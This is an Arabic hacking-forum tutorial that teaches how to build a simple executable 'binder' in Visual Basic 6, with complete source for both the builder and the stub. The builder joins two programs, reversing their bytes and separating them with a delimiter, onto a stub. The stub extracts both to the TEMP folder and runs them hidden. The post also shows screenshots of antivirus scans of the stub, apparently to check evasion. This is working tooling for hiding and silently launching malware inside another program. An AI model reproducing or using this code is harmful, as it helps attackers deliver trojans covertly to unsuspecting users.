:: vBspiders Professional Network :: - [شرح عمل برنآمج دمج بسيط بالفجوآل بسيك6] Simlpe Binder In Visual Basic 6

http://img150.imageshack.us/img150/1565/faselpf9zh7.gif

http://img156.imageshack.us/img156/9636/image001m.png

كيف حآلكم إخوآني الكرآم أعضآء شبكة العنآكب الإحترآفية

بخير إن شآء الله http://www.dev-point.com/vb/imagize/smilies/16.gif

اليوم رجعت و أردت أن أضع لكم شرح لطريقة عمل برنآمج دمج بسيط بالفجوآل بسيك

المتطلبآت طبعآ : فجوآل بسيك 6 [من الأفضل النسخة الكآملة]

عملت لكم شرح مصور + فيديوا

أولآ تحميل الفيديوا

http://www.effectmatrix.com/total-vi...r/download.jpg

و الأن الشرح بالصور

نبدأ نتصميم وآجهة للبرنآمج

http://www.novinupload.com/images/27...0040227024.jpg

لآ تنسو إضآفة أدآة common Dialog

http://www.novinupload.com/images/48...0218848321.jpg

و الأن مع أوآد البرنآمج

في أزرآر الإستعرآض

كود:

كود: Text1.Text = Getpath Text2.Text = Getpath

و في زر الدمج

كود:

Dim sFile1 As String Dim sFile2 As String Dim sServer As String Dim sStub As String Dim sKey As String Dim sBinary As String sStub = ReadFile(App.Path & "\stub.exe") sFile1 = ReadFile(TxtFile1.Text) sFile2 = ReadFile(TxtFile2.Text) sServer = SetPath() sKey = "\\\\\\\\\\\\\\\\\\" sBinary = _ sStub & _ sKey & _ StrReverse(sFile1) & _ sKey & _ StrReverse(sFile2) & _ sKey WriteFile sServer, sBinary MsgBox Split(sServer, "\")(UBound(Split(sServer, "\"))) & " wurde erstellt!", vbInformation, "Fertig"

كمآ موضح في الصورة

http://www.novinupload.com/images/30...6777327583.jpg

و الأن نضيف موديل

http://www.novinupload.com/images/74...9540233700.jpg

أكوآد الموديل

كود:

Function ReadFile(sPath As String) As String Open sPath For Binary As #1 ReadFile = Space(LOF(1)) Get #1, , ReadFile Close #1 End Function Function WriteFile(sPath As String, sText As String) Open sPath For Binary As #1 Put #1, , sText Close #1 End Function Function GetPath() As String With Form1.CommonDialog1 .ShowOpen If Not .FileName = "" Then GetPath = .FileName End With End Function Function SetPath() As String With Form1.CommonDialog1 .Filter = "Executables (*.exe)|*.exe" .ShowSave If Not .FileName = "" Then SetPath = .FileName End With End Function

و الأن إنتهينآ من البرنآمج نعمل تكوين

http://www.novinupload.com/images/59...3500266523.jpg

ثآنيآ نروح إلى الستآب Stub

نفتح مشروع جديد و نحذف الفورم

http://www.novinupload.com/images/18...4591012352.jpg

نضيف موديل جديد

http://www.novinupload.com/images/72...1156390036.jpg

ثم نضع أكوآد الستآب

كود:

Public Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long Sub Main() Dim sServer As String Dim sKey As String Dim sFile1 As String Dim sFile2 As String Dim sBinary As String sKey = "\\\\\\\\\\\\\\\\\\" sServer = App.Path & "\" & App.EXEName & ".exe" sBinary = ReadFile(sServer) sFile1 = Split(sBinary, sKey)(1) sFile2 = Split(sBinary, sKey)(2) WriteFile Environ$("TEMP") & "\File1.exe", StrReverse(sFile1) WriteFile Environ$("TEMP") & "\File2.exe", StrReverse(sFile2) WinExec Environ$("TEMP") & "\File1.exe", 0 WinExec Environ$("TEMP") & "\File2.exe", 0 End Sub Function ReadFile(sPath As String) As String Open sPath For Binary As #1 ReadFile = Space(LOF(1)) Get #1, , ReadFile Close #1 End Function Function WriteFile(sPath As String, sText As String) Open sPath For Binary As #1 Put #1, , sText Close #1 End Function

http://www.novinupload.com/images/02...6205054320.jpg

و في الأخير نكون الستآب

http://www.novinupload.com/images/59...3500266523.jpg

http://www.novinupload.com/images/46...2744137316.jpg

http://www.novinupload.com/images/51...4900828659.jpg

نتيجة فحص الستآب

http://www.novinupload.com/images/97...9839095037.jpg

تحميل أكوآد البرنآمج + الموديل المطلوب + الصور + سورس كود للبرنآمج جآهز http://www.dev-point.com/vb/imagize/smilies/1.gif

http://www.effectmatrix.com/total-vi...r/download.jpg

أي إستفسآرآت أنآ في الخدمة

بالتوفيق للجميع

http://www.dev-point.com/vb/imagize/smilies/r7.gif

http://img150.imageshack.us/img150/1565/faselpf9zh7.gif